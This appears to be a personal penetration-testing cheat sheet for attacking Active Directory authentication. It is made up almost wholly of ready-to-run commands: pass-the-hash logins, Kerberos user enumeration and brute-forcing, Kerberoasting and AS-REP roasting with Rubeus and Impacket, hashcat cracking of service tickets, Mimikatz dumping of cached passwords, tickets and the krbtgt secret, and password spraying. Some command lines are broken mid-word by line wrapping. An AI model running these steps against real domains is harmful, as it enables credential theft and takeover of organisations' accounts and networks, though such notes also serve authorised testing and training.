






# AD Authentication

 Owner	 Raymond Soreng
 Tags	

## ▼ NTLM Authentication

```
evil-winrm -i <DOMAIN> -u <USER> -H <NTLM Hash>
```

## ▼ Kerberos Authentication

```
./kerbrute userenum -d <DOMAIN> --dc <DOMAIN> user.txt -t 1  
00 > /home/d43d3lu5/files/targets/<target>/<target>-kerbrut  
e.txt
```

```
Rubeus.exe harvest /interval:30
```

```
echo 10.10.42.134 CONTROLLER.local >> C:\Windows\System32\d  
rivers\etc\host
```

```
Rubeus.exe brute /password:Password1 /notickets
```

```
sudo python3 /usr/share/doc/python3-impacket/examples/GetUs  
erSPNs.py $domain.root/'$username:' -dc-ip $dc-ipaddr -requ  
est > getspns  
secretsdump.py $domain.root/$username@$domain.root
```

```
hashcat -m 13100 -a 0 sqlservice Pass.txt > sqlcracked  
hashcat -m 13100 -a 0 httpservice Pass.txt > httpcracked
```

```
Rubeus.exe asreproast
```

```
# Mimikatz (or kiwi msfconsole module)  
sekurlsa::tickets /export  
lsadump::lsa /inject /name:krbtgt
```

```
net use c:\\$dc-hostname\admin$ /user:$username $rt-username  
e  
dir \\$hostname\c$ /user:$devicename $rt-username
```

## ▼ Cached Credential Storage and Retrieval

```
mimikatz.exe
```

```
mimikatz #privilege::debug  
Privilege '20' OK
```

```
mimikatz # sekurlsa::logonpasswords
```

```
mimikatz # sekurlsa::tickets
```

## ▼ Service Account Attacks

```
Add-Type -AssemblyName System.IdentityModel  
New-Object System.IdentityModel.Tokens.KerberosRequestorSecur
```

```
PS C:\Users\offsec.CORP>klist
```

```
mimikatz #kerberos::list /export
```

```
sudo apt update && sudo apt install kerberoast
```

## ▼ Low and Slow Password Guessing

```
PS C:\Users\Offsec.corp> -net accounts
```

```
$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
```

```
$PDC = ($domainObj.PdcRoleOwner).Name
```

```
$SearchString = "LDAP://"
$SearchString += $PDC + "/"
```

```
$DistinguishedName = "DC=$(($domainObj.Name.Replace('.', ' '),DC=''))"
```

```
$SearchString += $DistinguishedName
$TargetGroup = "$groupname" # Replace '$groupname', remove
comment when executing
New-Object System.DirectoryServices.DirectoryEntry($SearchString, "$target-group", "$password")
```

```
.\Spray-Passwords.ps1 -Pass $password -Admin
```